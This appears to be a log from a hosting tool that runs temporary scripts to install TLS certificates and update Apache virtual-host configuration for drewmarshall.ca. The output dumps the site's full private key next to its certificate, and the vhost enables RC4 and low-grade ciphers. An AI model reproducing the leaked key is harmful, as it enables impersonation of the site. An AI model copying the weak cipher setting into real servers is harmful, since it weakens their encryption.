Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-07 06:00:24: 

chmod 755 /tmp/pkp783209; /tmp/pkp783209; rm /tmp/pkp783209

2026-07-07 06:00:24: 


dir=/etc/ssl/certs


2026-07-07 06:00:24: 

PUT: /tmp/pkp168776

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-07 06:00:24: 

chmod 755 /tmp/pkp168776; /tmp/pkp168776; rm /tmp/pkp168776

2026-07-07 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf 43

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-07 06:00:24: 

PUT: /tmp/pkp792722

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf= 1'
fi


2026-07-07 06:00:24: 

chmod 755 /tmp/pkp792722; /tmp/pkp792722; rm /tmp/pkp792722

2026-07-07 06:00:24: 




2026-07-07 06:00:24: 

PUT: /tmp/pkp815760

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-07 06:00:24: 

chmod 755 /tmp/pkp815760; /tmp/pkp815760; rm /tmp/pkp815760

2026-07-07 06:00:24: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-07 06:00:24: Establishing a connection
2026-07-07 06:00:25: 

PUT: /tmp/pkp499770

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-07 06:00:25: 

chmod 755 /tmp/pkp499770; /tmp/pkp499770; rm /tmp/pkp499770

2026-07-07 06:00:25: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-07 06:00:25: 

PUT: /tmp/pkp662409

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-07 06:00:25: 

chmod 755 /tmp/pkp662409; /tmp/pkp662409; rm /tmp/pkp662409

2026-07-07 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf	1282

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-07 06:00:25: 

PUT: /tmp/pkp622988

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-07 06:00:25: 

chmod 755 /tmp/pkp622988; /tmp/pkp622988; rm /tmp/pkp622988

2026-07-07 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt	7445
91:09:7e:d8:cc:ec:cf:a0:d6:30:8b:e9:35:65:25:b9

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBa50fGrerl581urmtkwg4V/CMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzA3MDUwMTUyWhcNMjYxMDA1MDUwMTUxWjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCkZBd5ctMUUJ1zqM+E5FR2giZjyoRLwmrxqhvFNf8RL1MiBwWwtRaa6ySWDAq3
gpsC0U9llEQxPteS0aMntmimEEev1S4QmRzowruTqtzHS0dT2p31qzMD2girthU0
Hhxs/6+MdR5vi7TUa5aBjkD4VQPoXdr41QXVftW/WKhcL+IIsh/uiApyfWiNhRKW
I4cJcsmAhf7rObY3TlxKj35PBT0UK4fDkK/yRFDBZps3za4gm/wKqesIC23X+PW1
5vfbw4/Xm63zY3oOQhSTy9mMIBcm9jOTe6unNhBgPUk+FbpMchdMZjNdmLLXzZX9
ng98qMNrpRosPhv1/zHUYWr1AgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUVk5M
UxVGyfznSnN5KGvYDo3HjO0wHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EM
gQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9kcmV3bWFyc2hhbGwuY2GCE3d3dy5kcmV3bWFy
c2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3lyMi5jLmxlbmNyLm9yZy82Ny5jcmwwggENBgorBgEEAdZ5AgQCBIH+
BIH7APkAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ87Kcru
AAAEAwBIMEYCIQCPk3XJUbW+J+9Kfqvl4ay1eMn2is3K3ANC8qmQtFybSgIhAMII
yx/1sVOMMnDxT5N2awLkow9zAvX3OxNtJWbiS24sAH4AqCbL4wrGNRJGUz/gZfFP
GdluGQgTxB3ZbXkAsxI8VScAAAGfOynN9wAIAAAFABLWnJ0EAwBHMEUCIQCG982E
ZfagoFiwwC0NfJrsbYqmar2GCqVsGYy+UR34CwIgfgpbO7kgW06ufPVhkG4j1gFG
vmMtScqFfKqVdKqomu4wDQYJKoZIhvcNAQELBQADggEBAHNhN+2DE6+Q8SlTmPUB
mEv6sNAzZPhoTVoXEj6tAd332uWkIS9ODbWri5NJvdgPzTJUptVUZcZl+QJ1jDac
EXauzRK5yxQ5L1SEIjRDeSrr69C1MSbmHqrs3uFa3ErgVLtDacwqStksJ+omZDsI
VuUqsx5lzqobaf/R0vbSXUfSfKCf8dc6qbw6NM5oOsWVJFXQT0zHSVIztlh/15vj
TeFFtW0oR4OnDSl6m/Yk53HMYHe4q0DvcDzSnp8CoKmaRkrcz9FD3c0kREebxp9b
mIbOA7gZvSrFryYmZS2Vepjk4Plj5Rfq1ZVt2gdO1V6FTehsEhPbxYyYRTONH4cg
nzQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCkZBd5ctMUUJ1z
qM+E5FR2giZjyoRLwmrxqhvFNf8RL1MiBwWwtRaa6ySWDAq3gpsC0U9llEQxPteS
0aMntmimEEev1S4QmRzowruTqtzHS0dT2p31qzMD2girthU0Hhxs/6+MdR5vi7TU
a5aBjkD4VQPoXdr41QXVftW/WKhcL+IIsh/uiApyfWiNhRKWI4cJcsmAhf7rObY3
TlxKj35PBT0UK4fDkK/yRFDBZps3za4gm/wKqesIC23X+PW15vfbw4/Xm63zY3oO
QhSTy9mMIBcm9jOTe6unNhBgPUk+FbpMchdMZjNdmLLXzZX9ng98qMNrpRosPhv1
/zHUYWr1AgMBAAECggEAEiA6hGN4SbZP03Jqxe+P2UH62KhPqQjRVj8tm7ObTGTy
8363Dme74S4J6oTTuQNCHe/qo2Z96bjQ9+PR68Li9riMfE3zASqDc64RFQmobqMV
b3YHUmYOPx+kiBu7anPi1NPmd9lsFzGI0/Pe9FRf7ox1MgMImMToRUTxwuI+12x/
jQhLbyXStamgxWgh/HzKiqnKZCWWm6BCiEMYN3HLAa1QGR/bllLMye4WQlhVEc1E
jEWZVGskxU8iEjqpTRcbn9CjOdXQ3tbsYmp852+/LYZRhFgyZe5cwbD70PwBpnsJ
x7CHeF0M43/r5BmNGNp3o0DGJGpbU3JJboA0CPZ0OwKBgQDXeioGO/O9s31C0Zj6
eUmfj7vS92vyEvClwkllii8uviphF0K7QEKi38DFHMFtBiVWpuXq3h4AioqFWXX5
EsBcJrDWTgEZTXw7gofNYI9KA7HJZCY1TTw72foXzV97/471MKRRy6WaMKprhfc7
cjGlDHZb9m5zitGEjSV2ObQpEwKBgQDDTnS3mlCLkHGWHNFl4dB8TJY+lAORmWbP
sLJ/NtHKXjZ5oKvc+VteGNqPDu8pGX2OrkkIFh9QdkqsigjsOEoA+kIhWc/ER6DI
xmwuIehS0EbNJ+m6Z2dqRfFNhbw5YpEI1KfjgF4pdI8Gk5Fh7bgC0B47dn6qQEYj
1MwQDkrk1wKBgQCqYXnLViqETOH2LN/G5pLVrYS561SapGlO2JLKzHpEfq/p98eX
YteODFlUQ0mbGKn7m5rfnWShzup7SOLk4PPjqeBYhHOP+1oJgEw7lGeZAdTZxuwD
Z6ACP3jmy0j+NnRm4mB8IQhAJM0MmnCEu+YPeQw56WEq0ZCcPDNsCXKwqwKBgQCT
9vWAQB3zjmwvkQeni0v7T76oDFUj0rdMdA7XSD3qdjQJM4vhLt1kzamPpn3UgmZY
WXwk7zWsLOJoE2+tHvwZ/39oavV4O9f5JDLDRJcRXo+1UB7IRRzZK8IjvEUcqKs+
qHXFavRrrc3J6rTDH2lAYFH3NM/DxkwdS1OKenmNIwKBgDeUXXThbbnaavf5dwAL
cpAD2oiqsgknh/btN+BWuXkjRluNqlssMU4TINjyfAoygHMx707+62cEq2aZnVDp
K3Iv+8CDw66EW01s0WwFdYXE/wGwLBWcr7f8Idi9ChGoyTkXk+nK1q3rNcI7+UOp
gifB2cheimQyTyGz12TjUCOq
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
